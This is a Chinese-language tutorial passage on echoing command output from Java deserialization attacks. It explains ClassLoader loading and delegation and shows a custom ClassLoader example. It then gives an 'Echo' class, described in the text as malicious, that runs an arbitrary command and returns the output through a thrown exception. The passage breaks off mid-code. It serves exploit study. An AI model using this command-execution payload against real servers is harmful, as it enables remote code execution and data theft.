java反序列化回显
在很多不出网的情况下,一种是写webshell(内存嘛),另一种就是回显,本文先学习回显,回显的主要方式有一下几种。
- defineClass
- RMI绑定实例
- URLClassLoader抛出异常
- 中间件
- 写文件css、js
- dnslog
前面有多多少了解过ClassLoader本篇花费一节仔细学习一下
1、前置知识
classloader顾名思义,即是类加载。虚拟机把描述类的数据从class字节码文件加载到内存,并对数据进行检验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这就是虚拟机的类加载机
1.1、ClassLoader加载过程
主要是三个阶段
第一个阶段是加载,把.class文件加载到内存,并为它创建一个java.lang.Class对象
第二个阶段是连接,连接包括三阶段
验证:确保加载的类信息符合JVM规范,无安全方面的问题。 准备:为类的静态Field分配内存,并设置初始值,变量的初始值,如:int=0。 解析:将类的二进制数据中的符号引用替换成直接引用。
第三阶段是初始化
1、优先对该类的父类进行初始化,然后对static修饰的变量和代码块进行初始化
1.2、classloader双亲委托机制
当一个类加载的过程中,它首先不会去加载,而是委托给自己的父类去加载,父类又委托给自己的父类。因此所有的类加载都会委托给顶层的父类,即Bootstrap Classloader进行加载,然后父类自己无法完成这个加载请求,子加载器才会尝试自己去加载
1.启动类加载器(Bootstrap Classloader)负责将<JAVA_HOME>/lib目录下并且被虚拟机识别的类库加载到虚拟机内存中。我们常用基础库,例如java.util. ,java.io. ,java.lang.**等等都是由根加载器加载
2.扩展类加载器(Extention Classloader)负责加载JVM扩展类,比如swing系列、内置的js引擎、xml解析器等,这些类库以javax开头,它们的jar包位于<JAVA_HOME>/lib/ext目录中
3.应用程序加载器(Application Classloader)也叫系统类加载器,它负责加载用户路径(ClassPath)上所指定的类库。我们自己编写的代码以及使用的第三方的jar包都是由它来加载的
4.自定义加载器(Custom Classloader)通常是我们为了某些特殊目的实现的自定义加载器
1.3、ClassLoader类 核心方法
1.loadClass(String className),根据名字加载一个类。 2.defineClass(String name, byte[] b, int off, int len),将一个字节流定义为一个类。 3.findClass(String name),查找一个类。 4.findLoadedClass(String name),在已加载的类中,查找一个类。
1.4、自定义Classloader
当加载一个类时,会首先从已经加载的类里面去查找这个类。如果类未加载,且如果父加载器不为空,则调用父加载器的loadClass方法进行加载,如果父加载器为空,则调用BootStrap class loader加载。如果依然没有加载到类,则调用findClass方法。而findClass方法是需要子类重写的。所以我们只需要继承classLoader重写findClass方法就可以实现自定义ClassLoader
1、继承classLoader 2、重写findClass()方法 3、在findClass()中调用defineClass
编写测试类
package com.akkacloud.demo; import java.io.*; import java.util.Arrays; public class test { public void testclassloder() { System.out.println("test classloader"); } }
编译成class文件
编写自己的classLoder
package com.akkacloud.demo; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class myClassloader extends ClassLoader{ private static String ClassName = "com.akkacloud.demo.test"; //获取class文件,转换成byte private static byte[] getbyte() throws IOException { InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/test.class")); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int temp; while ((temp = is.read(bytes)) != -1) { outputStream.write(bytes, 0, temp); } //转换后的byte[] byte[] finalBytes = outputStream.toByteArray(); return finalBytes; } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { //如果类名为我们定的类 if(name==ClassName){ try { //从字节中获取一个类 return defineClass(ClassName, getbyte(),0,getbyte().length); } catch (IOException e) { e.printStackTrace(); } } return super.findClass(name); } public static void main(String[] args) throws ClassNotFoundException { //新建自定义的类加载器 myClassloader myClassloader = new myClassloader(); Class<?> aClass = myClassloader.loadClass(ClassName); try { //反射调用类的方法 Object o = aClass.newInstance(); Method declaredMethod = aClass.getMethod("testclassloder", null); declaredMethod.invoke(o, null); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } }
2、defineClass异常回显
首先新建恶意异常回显类,并且编译成class文件
package com.akkacloud.demo; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Echo { public Echo(String cmd) throws Exception { ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd}); Process start = processBuilder.start(); InputStream inputStream = start.getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); StringBuffer stringBuffer = new StringBuffer(); String line =null; while ((line = bufferedReader.readLine()) != null) { stringBuffer.append(line).append("\n"); } throw new Exception(stringBuffer.toString()); } }
新建自己的classLoder
package com.akkacloud.demo; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class myClassloader extends ClassLoader{ private static String ClassName = "com.akkacloud.demo.Echo"; //获取class文件,转换成byte private static byte[] getbyte() throws IOException { InputStream is = new FileInput